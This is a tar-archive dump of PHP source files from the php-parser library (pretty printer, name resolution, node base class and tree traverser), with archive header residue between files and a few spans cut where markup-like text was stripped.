Stmt\Use_::TYPE_CONSTANT ? 'const ' : ''); } protected function pStmt_Interface(Stmt\Interface_ $node) { return $this->pAttrGroups($node->attrGroups) . 'interface ' . $node->name . (!empty($node->extends) ? ' extends ' . $this->pCommaSeparated($node->extends) : '') . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Enum(Stmt\Enum_ $node) { return $this->pAttrGroups($node->attrGroups) . 'enum ' . $node->name . ($node->scalarType ? " : $node->scalarType" : '') . (!empty($node->implements) ? ' implements ' . $this->pCommaSeparated($node->implements) : '') . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Class(Stmt\Class_ $node) { return $this->pClassCommon($node, ' ' . $node->name); } protected function pStmt_Trait(Stmt\Trait_ $node) { return $this->pAttrGroups($node->attrGroups) . 'trait ' . $node->name . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_EnumCase(Stmt\EnumCase $node) { return $this->pAttrGroups($node->attrGroups) . 'case ' . $node->name . ($node->expr ? ' = ' . $this->p($node->expr) : '') . ';'; } protected function pStmt_TraitUse(Stmt\TraitUse $node) { return 'use ' . $this->pCommaSeparated($node->traits) . (empty($node->adaptations) ? ';' : ' {' . $this->pStmts($node->adaptations) . $this->nl . '}'); } protected function pStmt_TraitUseAdaptation_Precedence(Stmt\TraitUseAdaptation\Precedence $node) { return $this->p($node->trait) . '::' . $node->method . ' insteadof ' . $this->pCommaSeparated($node->insteadof) . ';'; } protected function pStmt_TraitUseAdaptation_Alias(Stmt\TraitUseAdaptation\Alias $node) { return (null !== $node->trait ? $this->p($node->trait) . '::' : '') . $node->method . ' as' . (null !== $node->newModifier ? ' ' . rtrim($this->pModifiers($node->newModifier), ' ') : '') . (null !== $node->newName ? ' ' . $node->newName : '') . ';'; } protected function pStmt_Property(Stmt\Property $node) { return $this->pAttrGroups($node->attrGroups) . (0 === $node->flags ? 'var ' : $this->pModifiers($node->flags)) . ($node->type ? $this->p($node->type) . ' ' : '') . $this->pCommaSeparated($node->props) . ';'; } protected function pStmt_PropertyProperty(Stmt\PropertyProperty $node) { return '$' . $node->name . (null !== $node->default ? ' = ' . $this->p($node->default) : ''); } protected function pStmt_ClassMethod(Stmt\ClassMethod $node) { return $this->pAttrGroups($node->attrGroups) . $this->pModifiers($node->flags) . 'function ' . ($node->byRef ? '&' : '') . $node->name . '(' . $this->pMaybeMultiline($node->params) . ')' . (null !== $node->returnType ? ' : ' . $this->p($node->returnType) : '') . (null !== $node->stmts ? $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}' : ';'); } protected function pStmt_ClassConst(Stmt\ClassConst $node) { return $this->pAttrGroups($node->attrGroups) . $this->pModifiers($node->flags) . 'const ' . $this->pCommaSeparated($node->consts) . ';'; } protected function pStmt_Function(Stmt\Function_ $node) { return $this->pAttrGroups($node->attrGroups) . 'function ' . ($node->byRef ? '&' : '') . $node->name . '(' . $this->pCommaSeparated($node->params) . ')' . (null !== $node->returnType ? ' : ' . $this->p($node->returnType) : '') . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Const(Stmt\Const_ $node) { return 'const ' . $this->pCommaSeparated($node->consts) . ';'; } protected function pStmt_Declare(Stmt\Declare_ $node) { return 'declare (' . $this->pCommaSeparated($node->declares) . ')' . (null !== $node->stmts ? ' {' . $this->pStmts($node->stmts) . $this->nl . '}' : ';'); } protected function pStmt_DeclareDeclare(Stmt\DeclareDeclare $node) { return $node->key . '=' . $this->p($node->value); } // Control flow protected function pStmt_If(Stmt\If_ $node) { return 'if (' . $this->p($node->cond) . ') {' . $this->pStmts($node->stmts) . $this->nl . '}' . ($node->elseifs ? ' ' . $this->pImplode($node->elseifs, ' ') : '') . (null !== $node->else ? ' ' . $this->p($node->else) : ''); } protected function pStmt_ElseIf(Stmt\ElseIf_ $node) { return 'elseif (' . $this->p($node->cond) . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Else(Stmt\Else_ $node) { return 'else {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_For(Stmt\For_ $node) { return 'for (' . $this->pCommaSeparated($node->init) . ';' . (!empty($node->cond) ? ' ' : '') . $this->pCommaSeparated($node->cond) . ';' . (!empty($node->loop) ? ' ' : '') . $this->pCommaSeparated($node->loop) . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Foreach(Stmt\Foreach_ $node) { return 'foreach (' . $this->p($node->expr) . ' as ' . (null !== $node->keyVar ? $this->p($node->keyVar) . ' => ' : '') . ($node->byRef ? '&' : '') . $this->p($node->valueVar) . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_While(Stmt\While_ $node) { return 'while (' . $this->p($node->cond) . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Do(Stmt\Do_ $node) { return 'do {' . $this->pStmts($node->stmts) . $this->nl . '} while (' . $this->p($node->cond) . ');'; } protected function pStmt_Switch(Stmt\Switch_ $node) { return 'switch (' . $this->p($node->cond) . ') {' . $this->pStmts($node->cases) . $this->nl . '}'; } protected function pStmt_Case(Stmt\Case_ $node) { return (null !== $node->cond ? 'case ' . $this->p($node->cond) : 'default') . ':' . $this->pStmts($node->stmts); } protected function pStmt_TryCatch(Stmt\TryCatch $node) { return 'try {' . $this->pStmts($node->stmts) . $this->nl . '}' . ($node->catches ? ' ' . $this->pImplode($node->catches, ' ') : '') . ($node->finally !== null ? ' ' . $this->p($node->finally) : ''); } protected function pStmt_Catch(Stmt\Catch_ $node) { return 'catch (' . $this->pImplode($node->types, '|') . ($node->var !== null ? ' ' . $this->p($node->var) : '') . ') {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Finally(Stmt\Finally_ $node) { return 'finally {' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pStmt_Break(Stmt\Break_ $node) { return 'break' . ($node->num !== null ? ' ' . $this->p($node->num) : '') . ';'; } protected function pStmt_Continue(Stmt\Continue_ $node) { return 'continue' . ($node->num !== null ? ' ' . $this->p($node->num) : '') . ';'; } protected function pStmt_Return(Stmt\Return_ $node) { return 'return' . (null !== $node->expr ? ' ' . $this->p($node->expr) : '') . ';'; } protected function pStmt_Throw(Stmt\Throw_ $node) { return 'throw ' . $this->p($node->expr) . ';'; } protected function pStmt_Label(Stmt\Label $node) { return $node->name . ':'; } protected function pStmt_Goto(Stmt\Goto_ $node) { return 'goto ' . $node->name . ';'; } // Other protected function pStmt_Expression(Stmt\Expression $node) { return $this->p($node->expr) . ';'; } protected function pStmt_Echo(Stmt\Echo_ $node) { return 'echo ' . $this->pCommaSeparated($node->exprs) . ';'; } protected function pStmt_Static(Stmt\Static_ $node) { return 'static ' . $this->pCommaSeparated($node->vars) . ';'; } protected function pStmt_Global(Stmt\Global_ $node) { return 'global ' . $this->pCommaSeparated($node->vars) . ';'; } protected function pStmt_StaticVar(Stmt\StaticVar $node) { return $this->p($node->var) . (null !== $node->default ? ' = ' . $this->p($node->default) : ''); } protected function pStmt_Unset(Stmt\Unset_ $node) { return 'unset(' . $this->pCommaSeparated($node->vars) . ');'; } protected function pStmt_InlineHTML(Stmt\InlineHTML $node) { $newline = $node->getAttribute('hasLeadingNewline', true) ? "\n" : ''; return '?>' . $newline . $node->value . 'remaining; } protected function pStmt_Nop(Stmt\Nop $node) { return ''; } // Helpers protected function pClassCommon(Stmt\Class_ $node, $afterClassToken) { return $this->pAttrGroups($node->attrGroups, $node->name === null) . $this->pModifiers($node->flags) . 'class' . $afterClassToken . (null !== $node->extends ? ' extends ' . $this->p($node->extends) : '') . (!empty($node->implements) ? ' implements ' . $this->pCommaSeparated($node->implements) : '') . $this->nl . '{' . $this->pStmts($node->stmts) . $this->nl . '}'; } protected function pObjectProperty($node) { if ($node instanceof Expr) { return '{' . $this->p($node) . '}'; } else { return $node; } } protected function pEncapsList(array $encapsList, $quote) { $return = ''; foreach ($encapsList as $element) { if ($element instanceof Scalar\EncapsedStringPart) { $return .= $this->escapeString($element->value, $quote); } else { $return .= '{' . $this->p($element) . '}'; } } return $return; } protected function pSingleQuotedString(string $string) { return '\'' . addcslashes($string, '\'\\') . '\''; } protected function escapeString($string, $quote) { if (null === $quote) { // For doc strings, don't escape newlines $escaped = addcslashes($string, "\t\f\v$\\"); } else { $escaped = addcslashes($string, "\n\r\t\f\v$" . $quote . "\\"); } // Escape control characters and non-UTF-8 characters. // Regex based on https://stackoverflow.com/a/11709412/385378. $regex = '/( [\x00-\x08\x0E-\x1F] # Control characters | [\xC0-\xC1] # Invalid UTF-8 Bytes | [\xF5-\xFF] # Invalid UTF-8 Bytes | \xE0(?=[\x80-\x9F]) # Overlong encoding of prior code point | \xF0(?=[\x80-\x8F]) # Overlong encoding of prior code point | [\xC2-\xDF](?![\x80-\xBF]) # Invalid UTF-8 Sequence Start | [\xE0-\xEF](?![\x80-\xBF]{2}) # Invalid UTF-8 Sequence Start | [\xF0-\xF4](?![\x80-\xBF]{3}) # Invalid UTF-8 Sequence Start | (?<=[\x00-\x7F\xF5-\xFF])[\x80-\xBF] # Invalid UTF-8 Sequence Middle | (? $part) { $atStart = $i === 0; $atEnd = $i === count($parts) - 1; if ($part instanceof Scalar\EncapsedStringPart && $this->containsEndLabel($part->value, $label, $atStart, $atEnd) ) { return true; } } return false; } protected function pDereferenceLhs(Node $node) { if (!$this->dereferenceLhsRequiresParens($node)) { return $this->p($node); } else { return '(' . $this->p($node) . ')'; } } protected function pCallLhs(Node $node) { if (!$this->callLhsRequiresParens($node)) { return $this->p($node); } else { return '(' . $this->p($node) . ')'; } } protected function pNewVariable(Node $node) { // TODO: This is not fully accurate. return $this->pDereferenceLhs($node); } /** * @param Node[] $nodes * @return bool */ protected function hasNodeWithComments(array $nodes) { foreach ($nodes as $node) { if ($node && $node->getComments()) { return true; } } return false; } protected function pMaybeMultiline(array $nodes, bool $trailingComma = false) { if (!$this->hasNodeWithComments($nodes)) { return $this->pCommaSeparated($nodes); } else { return $this->pCommaSeparatedMultiline($nodes, $trailingComma) . $this->nl; } } protected function pAttrGroups(array $nodes, bool $inline = false): string { $result = ''; $sep = $inline ? ' ' : $this->nl; foreach ($nodes as $node) { $result .= $this->p($node) . $sep; } return $result; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NameContext.php000064400000023303147577714370021740 0ustar00 [aliasName => originalName]] */ protected $aliases = []; /** @var Name[][] Same as $aliases but preserving original case */ protected $origAliases = []; /** @var ErrorHandler Error handler */ protected $errorHandler; /** * Create a name context. * * @param ErrorHandler $errorHandler Error handling used to report errors */ public function __construct(ErrorHandler $errorHandler) { $this->errorHandler = $errorHandler; } /** * Start a new namespace. * * This also resets the alias table. * * @param Name|null $namespace Null is the global namespace */ public function startNamespace(Name $namespace = null) { $this->namespace = $namespace; $this->origAliases = $this->aliases = [ Stmt\Use_::TYPE_NORMAL => [], Stmt\Use_::TYPE_FUNCTION => [], Stmt\Use_::TYPE_CONSTANT => [], ]; } /** * Add an alias / import. * * @param Name $name Original name * @param string $aliasName Aliased name * @param int $type One of Stmt\Use_::TYPE_* * @param array $errorAttrs Attributes to use to report an error */ public function addAlias(Name $name, string $aliasName, int $type, array $errorAttrs = []) { // Constant names are case sensitive, everything else case insensitive if ($type === Stmt\Use_::TYPE_CONSTANT) { $aliasLookupName = $aliasName; } else { $aliasLookupName = strtolower($aliasName); } if (isset($this->aliases[$type][$aliasLookupName])) { $typeStringMap = [ Stmt\Use_::TYPE_NORMAL => '', Stmt\Use_::TYPE_FUNCTION => 'function ', Stmt\Use_::TYPE_CONSTANT => 'const ', ]; $this->errorHandler->handleError(new Error( sprintf( 'Cannot use %s%s as %s because the name is already in use', $typeStringMap[$type], $name, $aliasName ), $errorAttrs )); return; } $this->aliases[$type][$aliasLookupName] = $name; $this->origAliases[$type][$aliasName] = $name; } /** * Get current namespace. * * @return null|Name Namespace (or null if global namespace) */ public function getNamespace() { return $this->namespace; } /** * Get resolved name. * * @param Name $name Name to resolve * @param int $type One of Stmt\Use_::TYPE_{FUNCTION|CONSTANT} * * @return null|Name Resolved name, or null if static resolution is not possible */ public function getResolvedName(Name $name, int $type) { // don't resolve special class names if ($type === Stmt\Use_::TYPE_NORMAL && $name->isSpecialClassName()) { if (!$name->isUnqualified()) { $this->errorHandler->handleError(new Error( sprintf("'\\%s' is an invalid class name", $name->toString()), $name->getAttributes() )); } return $name; } // fully qualified names are already resolved if ($name->isFullyQualified()) { return $name; } // Try to resolve aliases if (null !== $resolvedName = $this->resolveAlias($name, $type)) { return $resolvedName; } if ($type !== Stmt\Use_::TYPE_NORMAL && $name->isUnqualified()) { if (null === $this->namespace) { // outside of a namespace unaliased unqualified is same as fully qualified return new FullyQualified($name, $name->getAttributes()); } // Cannot resolve statically return null; } // if no alias exists prepend current namespace return FullyQualified::concat($this->namespace, $name, $name->getAttributes()); } /** * Get resolved class name. * * @param Name $name Class ame to resolve * * @return Name Resolved name */ public function getResolvedClassName(Name $name) : Name { return $this->getResolvedName($name, Stmt\Use_::TYPE_NORMAL); } /** * Get possible ways of writing a fully qualified name (e.g., by making use of aliases). * * @param string $name Fully-qualified name (without leading namespace separator) * @param int $type One of Stmt\Use_::TYPE_* * * @return Name[] Possible representations of the name */ public function getPossibleNames(string $name, int $type) : array { $lcName = strtolower($name); if ($type === Stmt\Use_::TYPE_NORMAL) { // self, parent and static must always be unqualified if ($lcName === "self" || $lcName === "parent" || $lcName === "static") { return [new Name($name)]; } } // Collect possible ways to write this name, starting with the fully-qualified name $possibleNames = [new FullyQualified($name)]; if (null !== $nsRelativeName = $this->getNamespaceRelativeName($name, $lcName, $type)) { // Make sure there is no alias that makes the normally namespace-relative name // into something else if (null === $this->resolveAlias($nsRelativeName, $type)) { $possibleNames[] = $nsRelativeName; } } // Check for relevant namespace use statements foreach ($this->origAliases[Stmt\Use_::TYPE_NORMAL] as $alias => $orig) { $lcOrig = $orig->toLowerString(); if (0 === strpos($lcName, $lcOrig . '\\')) { $possibleNames[] = new Name($alias . substr($name, strlen($lcOrig))); } } // Check for relevant type-specific use statements foreach ($this->origAliases[$type] as $alias => $orig) { if ($type === Stmt\Use_::TYPE_CONSTANT) { // Constants are are complicated-sensitive $normalizedOrig = $this->normalizeConstName($orig->toString()); if ($normalizedOrig === $this->normalizeConstName($name)) { $possibleNames[] = new Name($alias); } } else { // Everything else is case-insensitive if ($orig->toLowerString() === $lcName) { $possibleNames[] = new Name($alias); } } } return $possibleNames; } /** * Get shortest representation of this fully-qualified name. * * @param string $name Fully-qualified name (without leading namespace separator) * @param int $type One of Stmt\Use_::TYPE_* * * @return Name Shortest representation */ public function getShortName(string $name, int $type) : Name { $possibleNames = $this->getPossibleNames($name, $type); // Find shortest name $shortestName = null; $shortestLength = \INF; foreach ($possibleNames as $possibleName) { $length = strlen($possibleName->toCodeString()); if ($length < $shortestLength) { $shortestName = $possibleName; $shortestLength = $length; } } return $shortestName; } private function resolveAlias(Name $name, $type) { $firstPart = $name->getFirst(); if ($name->isQualified()) { // resolve aliases for qualified names, always against class alias table $checkName = strtolower($firstPart); if (isset($this->aliases[Stmt\Use_::TYPE_NORMAL][$checkName])) { $alias = $this->aliases[Stmt\Use_::TYPE_NORMAL][$checkName]; return FullyQualified::concat($alias, $name->slice(1), $name->getAttributes()); } } elseif ($name->isUnqualified()) { // constant aliases are case-sensitive, function aliases case-insensitive $checkName = $type === Stmt\Use_::TYPE_CONSTANT ? $firstPart : strtolower($firstPart); if (isset($this->aliases[$type][$checkName])) { // resolve unqualified aliases return new FullyQualified($this->aliases[$type][$checkName], $name->getAttributes()); } } // No applicable aliases return null; } private function getNamespaceRelativeName(string $name, string $lcName, int $type) { if (null === $this->namespace) { return new Name($name); } if ($type === Stmt\Use_::TYPE_CONSTANT) { // The constants true/false/null always resolve to the global symbols, even inside a // namespace, so they may be used without qualification if ($lcName === "true" || $lcName === "false" || $lcName === "null") { return new Name($name); } } $namespacePrefix = strtolower($this->namespace . '\\'); if (0 === strpos($lcName, $namespacePrefix)) { return new Name(substr($name, strlen($namespacePrefix))); } return null; } private function normalizeConstName(string $name) { $nsSep = strrpos($name, '\\'); if (false === $nsSep) { return $name; } // Constants have case-insensitive namespace and case-sensitive short-name $ns = substr($name, 0, $nsSep); $shortName = substr($name, $nsSep + 1); return strtolower($ns) . '\\' . $shortName; } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeTraverserInterface.php000064400000001165147577714370024121 0ustar00attributes = $attributes; } /** * Gets line the node started in (alias of getStartLine). * * @return int Start line (or -1 if not available) */ public function getLine() : int { return $this->attributes['startLine'] ?? -1; } /** * Gets line the node started in. * * Requires the 'startLine' attribute to be enabled in the lexer (enabled by default). * * @return int Start line (or -1 if not available) */ public function getStartLine() : int { return $this->attributes['startLine'] ?? -1; } /** * Gets the line the node ended in. * * Requires the 'endLine' attribute to be enabled in the lexer (enabled by default). * * @return int End line (or -1 if not available) */ public function getEndLine() : int { return $this->attributes['endLine'] ?? -1; } /** * Gets the token offset of the first token that is part of this node. * * The offset is an index into the array returned by Lexer::getTokens(). * * Requires the 'startTokenPos' attribute to be enabled in the lexer (DISABLED by default). * * @return int Token start position (or -1 if not available) */ public function getStartTokenPos() : int { return $this->attributes['startTokenPos'] ?? -1; } /** * Gets the token offset of the last token that is part of this node. * * The offset is an index into the array returned by Lexer::getTokens(). * * Requires the 'endTokenPos' attribute to be enabled in the lexer (DISABLED by default). * * @return int Token end position (or -1 if not available) */ public function getEndTokenPos() : int { return $this->attributes['endTokenPos'] ?? -1; } /** * Gets the file offset of the first character that is part of this node. * * Requires the 'startFilePos' attribute to be enabled in the lexer (DISABLED by default). * * @return int File start position (or -1 if not available) */ public function getStartFilePos() : int { return $this->attributes['startFilePos'] ?? -1; } /** * Gets the file offset of the last character that is part of this node. * * Requires the 'endFilePos' attribute to be enabled in the lexer (DISABLED by default). * * @return int File end position (or -1 if not available) */ public function getEndFilePos() : int { return $this->attributes['endFilePos'] ?? -1; } /** * Gets all comments directly preceding this node. * * The comments are also available through the "comments" attribute. * * @return Comment[] */ public function getComments() : array { return $this->attributes['comments'] ?? []; } /** * Gets the doc comment of the node. * * @return null|Comment\Doc Doc comment object or null */ public function getDocComment() { $comments = $this->getComments(); for ($i = count($comments) - 1; $i >= 0; $i--) { $comment = $comments[$i]; if ($comment instanceof Comment\Doc) { return $comment; } } return null; } /** * Sets the doc comment of the node. * * This will either replace an existing doc comment or add it to the comments array. * * @param Comment\Doc $docComment Doc comment to set */ public function setDocComment(Comment\Doc $docComment) { $comments = $this->getComments(); for ($i = count($comments) - 1; $i >= 0; $i--) { if ($comments[$i] instanceof Comment\Doc) { // Replace existing doc comment. $comments[$i] = $docComment; $this->setAttribute('comments', $comments); return; } } // Append new doc comment. $comments[] = $docComment; $this->setAttribute('comments', $comments); } public function setAttribute(string $key, $value) { $this->attributes[$key] = $value; } public function hasAttribute(string $key) : bool { return array_key_exists($key, $this->attributes); } public function getAttribute(string $key, $default = null) { if (array_key_exists($key, $this->attributes)) { return $this->attributes[$key]; } return $default; } public function getAttributes() : array { return $this->attributes; } public function setAttributes(array $attributes) { $this->attributes = $attributes; } /** * @return array */ public function jsonSerialize() : array { return ['nodeType' => $this->getType()] + get_object_vars($this); } } res/readability/vendor/nikic/php-parser/lib/PhpParser/NodeTraverser.php000064400000024540147577714370022302 0ustar00visitors[] = $visitor; } /** * Removes an added visitor. * * @param NodeVisitor $visitor */ public function removeVisitor(NodeVisitor $visitor) { foreach ($this->visitors as $index => $storedVisitor) { if ($storedVisitor === $visitor) { unset($this->visitors[$index]); break; } } } /** * Traverses an array of nodes using the registered visitors. * * @param Node[] $nodes Array of nodes * * @return Node[] Traversed array of nodes */ public function traverse(array $nodes) : array { $this->stopTraversal = false; foreach ($this->visitors as $visitor) { if (null !== $return = $visitor->beforeTraverse($nodes)) { $nodes = $return; } } $nodes = $this->traverseArray($nodes); foreach ($this->visitors as $visitor) { if (null !== $return = $visitor->afterTraverse($nodes)) { $nodes = $return; } } return $nodes; } /** * Recursively traverse a node. * * @param Node $node Node to traverse. * * @return Node Result of traversal (may be original node or new one) */ protected function traverseNode(Node $node) : Node { foreach ($node->getSubNodeNames() as $name) { $subNode =& $node->$name; if (\is_array($subNode)) { $subNode = $this->traverseArray($subNode); if ($this->stopTraversal) { break; } } elseif ($subNode instanceof Node) { $traverseChildren = true; $breakVisitorIndex = null; foreach ($this->visitors as $visitorIndex => $visitor) { $return = $visitor->enterNode($subNode); if (null !== $return) { if ($return instanceof Node) { $this->ensureReplacementReasonable($subNode, $return); $subNode = $return; } elseif (self::DONT_TRAVERSE_CHILDREN === $return) { $traverseChildren = false; } elseif (self::DONT_TRAVERSE_CURRENT_AND_CHILDREN === $return) { $traverseChildren = false; $breakVisitorIndex = $visitorIndex; break; } elseif (self::STOP_TRAVERSAL === $return) { $this->stopTraversal = true; break 2; } else { throw new \LogicException( 'enterNode() returned invalid value of type ' . gettype($return) ); } } } if ($traverseChildren) { $subNode = $this->traverseNode($subNode); if ($this->stopTraversal) { break; } } foreach ($this->visitors as $visitorIndex => $visitor) { $return = $visitor->leaveNode($subNode); if (null !== $return) { if ($return instanceof Node) { $this->ensureReplacementReasonable($subNode, $return); $subNode = $return; } elseif (self::STOP_TRAVERSAL === $return) { $this->stopTraversal = true; break 2; } elseif (\is_array($return)) { throw new \LogicException( 'leaveNode() may only return an array ' . 'if the parent structure is an array' ); } else { throw new \LogicException( 'leaveNode() returned invalid value of type ' . gettype($return) ); } } if ($breakVisitorIndex === $visitorIndex) { break; } } } } return $node; } /** * Recursively traverse array (usually of nodes). * * @param array $nodes Array to traverse * * @return array Result of traversal (may be original array or changed one) */ protected function traverseArray(array $nodes) : array { $doNodes = []; foreach ($nodes as $i => &$node) { if ($node instanceof Node) { $traverseChildren = true; $breakVisitorIndex = null; foreach ($this->visitors as $visitorIndex => $visitor) { $return = $visitor->enterNode($node); if (null !== $return) { if ($return instanceof Node) { $this->ensureReplacementReasonable($node, $return); $node = $return; } elseif (self::DONT_TRAVERSE_CHILDREN === $return) { $traverseChildren = false; } elseif (self::DONT_TRAVERSE_CURRENT_AND_CHILDREN === $return) { $traverseChildren = false; $breakVisitorIndex = $visitorIndex; break; } elseif (self::STOP_TRAVERSAL === $return) { $this->stopTraversal = true; break 2; } else { throw new \LogicException( 'enterNode() returned invalid value of type ' . gettype($return) ); } } } if ($traverseChildren) { $node = $this->traverseNode($node); if ($this->stopTraversal) { break; } } foreach ($this->visitors as $visitorIndex => $visitor) { $return = $visitor->leaveNode($node); if (null !== $return) { if ($return instanceof Node) { $this->ensureReplacementReasonable($node, $return); $node = $return; } elseif (\is_array($return)) { $doNodes[] = [$i, $return]; break; } elseif (self::REMOVE_NODE === $return) { $doNodes[] = [$i, []]; break; } elseif (self::STOP_TRAVERSAL === $return) { $this->stopTraversal = true; break 2; } elseif (false === $return) { throw new \LogicException( 'bool(false) return from leaveNode() no longer supported. ' . 'Return NodeTraverser::REMOVE_NODE instead' ); } else { throw new \LogicException( 'leaveNode() returned invalid value of type ' . gettype($return) ); } } if ($breakVisitorIndex === $visitorIndex) { break; } } } elseif (\is_array($node)) { throw new \LogicException('Invalid node structure: Contains nested arrays'); } } if (!empty($doNodes)) { while (list($i, $replace) = array_pop($doNodes)) { array_splice($nodes, $i, 1, $replace); } } return $nodes; } private function ensureReplacementReasonable($old, $new) { if ($old instanceof Node\Stmt && $new instanceof Node\Expr) { throw new \LogicException( "Trying to replace statement ({$old->getType()}) " . "with expression ({$new->getType()}). Are you missing a " . "Stmt_Expression wrapper?" ); } if ($old instanceof Node\Expr && $new instanceof Node\Stmt) { throw new \LogicException( "Trying to replace expression ({$old->getType()}) " . "with statement ({$new->getType()})" ); } } } res/readability/vendor/nikic/php-parser/lib/PhpParser/Parser.php000064400000001164147577714370020750 0ustar00 [ 0, 1], Expr\BitwiseNot::class => [ 10, 1], Expr\PreInc::class => [ 10, 1], Expr\PreDec::class => [ 10, 1], Expr\PostInc::class => [ 10, -1], Expr\PostDec::class => [ 10, -1], Expr\UnaryPlus::class => [ 10, 1], Expr\UnaryMinus::class => [ 10, 1], Cast\Int_::class => [ 10, 1], Cast\Double::class => [ 10, 1], Cast\String_::class => [ 10, 1], Cast\Array_::class => [ 10, 1], Cast\Object_::class => [ 10, 1], Cast\Bool_::class => [ 10, 1], Cast\Unset_::class => [ 10, 1], Expr\ErrorSuppress::class => [ 10, 1], Expr\Instanceof_::class => [ 20, 0], Expr\BooleanNot::class => [ 30, 1], BinaryOp\Mul::class => [ 40, -1], BinaryOp\Div::class => [ 40, -1], BinaryOp\Mod::class => [ 40, -1], BinaryOp\Plus::class => [ 50, -1], BinaryOp\Minus::class => [ 50, -1], BinaryOp\Concat::class => [ 50, -1], BinaryOp\ShiftLeft::class => [ 60, -1], BinaryOp\ShiftRight::class => [ 60, -1], BinaryOp\Smaller::class => [ 70, 0], BinaryOp\SmallerOrEqual::class => [ 70, 0], BinaryOp\Greater::class => [ 70, 0], BinaryOp\GreaterOrEqual::class => [ 70, 0], BinaryOp\Equal::class => [ 80, 0], BinaryOp\NotEqual::class => [ 80, 0], BinaryOp\Identical::class => [ 80, 0], BinaryOp\NotIdentical::class => [ 80, 0], BinaryOp\Spaceship::class => [ 80, 0], BinaryOp\BitwiseAnd::class => [ 90, -1], BinaryOp\BitwiseXor::class => [100, -1], BinaryOp\BitwiseOr::class => [110, -1], BinaryOp\BooleanAnd::class => [120, -1], BinaryOp\BooleanOr::class => [130, -1], BinaryOp\Coalesce::class => [140, 1], Expr\Ternary::class => [150, 0], // parser uses %left for assignments, but they really behave as %right Expr\Assign::class => [160, 1], Expr\AssignRef::class => [160, 1], AssignOp\Plus::class => [160, 1], AssignOp\Minus::class => [160, 1], AssignOp\Mul::class => [160, 1], AssignOp\Div::class => [160, 1], AssignOp\Concat::class => [160, 1], AssignOp\Mod::class => [160, 1], AssignOp\BitwiseAnd::class => [160, 1], AssignOp\BitwiseOr::class => [160, 1], AssignOp\BitwiseXor::class => [160, 1], AssignOp\ShiftLeft::class => [160, 1], AssignOp\ShiftRight::class => [160, 1], AssignOp\Pow::class => [160, 1], AssignOp\Coalesce::class => [160, 1], Expr\YieldFrom::class => [165, 1], Expr\Print_::class => [168, 1], BinaryOp\LogicalAnd::class => [170, -1], BinaryOp\LogicalXor::class => [180, -1], BinaryOp\LogicalOr::class => [190, -1], Expr\Include_::class => [200, -1], ]; /** @var int Current indentation level. */ protected $indentLevel; /** @var string Newline including current indentation. */ protected $nl; /** @var string Token placed at end of doc string to ensure it is followed by a newline. */ protected $docStringEndToken; /** @var bool Whether semicolon namespaces can be used (i.e. no global namespace is used) */ protected $canUseSemicolonNamespaces; /** @var array Pretty printer options */ protected $options; /** @var TokenStream Original tokens for use in format-preserving pretty print */ protected $origTokens; /** @var Internal\Differ Differ for node lists */ protected $nodeListDiffer; /** @var bool[] Map determining whether a certain character is a label character */ protected $labelCharMap; /** * @var int[][] Map from token classes and subnode names to FIXUP_* constants. This is used * during format-preserving prints to place additional parens/braces if necessary. */ protected $fixupMap; /** * @var int[][] Map from "{$node->getType()}->{$subNode}" to ['left' => $l, 'right' => $r], * where $l and $r specify the token type that needs to be stripped when removing * this node. */ protected $removalMap; /** * @var mixed[] Map from "{$node->getType()}->{$subNode}" to [$find, $beforeToken, $extraLeft, $extraRight]. * $find is an optional token after which the insertion occurs. $extraLeft/Right * are optionally added before/after the main insertions. */ protected $insertionMap; /** * @var string[] Map From "{$node->getType()}->{$subNode}" to string that should be inserted * between elements of this list subnode. */ protected $listInsertionMap; protected $emptyListInsertionMap; /** @var int[] Map from "{$node->getType()}->{$subNode}" to token before which the modifiers * should be reprinted. */ protected $modifierChangeMap; /** * Creates a pretty printer instance using the given options. * * Supported options: * * bool $shortArraySyntax = false: Whether to use [] instead of array() as the default array * syntax, if the node does not specify a format. * * @param array $options Dictionary of formatting options */ public function __construct(array $options = []) { $this->docStringEndToken = '_DOC_STRING_END_' . mt_rand(); $defaultOptions = ['shortArraySyntax' => false]; $this->options = $options + $defaultOptions; } /** * Reset pretty printing state. */ protected function resetState() { $this->indentLevel = 0; $this->nl = "\n"; $this->origTokens = null; } /** * Set indentation level * * @param int $level Level in number of spaces */ protected function setIndentLevel(int $level) { $this->indentLevel = $level; $this->nl = "\n" . \str_repeat(' ', $level); } /** * Increase indentation level. */ protected function indent() { $this->indentLevel += 4; $this->nl .= ' '; } /** * Decrease indentation level. */ protected function outdent() { assert($this->indentLevel >= 4); $this->indentLevel -= 4; $this->nl = "\n" . str_repeat(' ', $this->indentLevel); } /** * Pretty prints an array of statements. * * @param Node[] $stmts Array of statements * * @return string Pretty printed statements */ public function prettyPrint(array $stmts) : string { $this->resetState(); $this->preprocessNodes($stmts); return ltrim($this->handleMagicTokens($this->pStmts($stmts, false))); } /** * Pretty prints an expression. * * @param Expr $node Expression node * * @return string Pretty printed node */ public function prettyPrintExpr(Expr $node) : string { $this->resetState(); return $this->handleMagicTokens($this->p($node)); } /** * Pretty prints a file of statements (includes the opening prettyPrint($stmts); if ($stmts[0] instanceof Stmt\InlineHTML) { $p = preg_replace('/^<\?php\s+\?>\n?/', '', $p); } if ($stmts[count($stmts) - 1] instanceof Stmt\InlineHTML) { $p = preg_replace('/<\?php$/', '', rtrim($p)); } return $p; } /** * Preprocesses the top-level nodes to initialize pretty printer state. * * @param Node[] $nodes Array of nodes */ protected function preprocessNodes(array $nodes) { /* We can use semicolon-namespaces unless there is a global namespace declaration */ $this->canUseSemicolonNamespaces = true; foreach ($nodes as $node) { if ($node instanceof Stmt\Namespace_ && null === $node->name) { 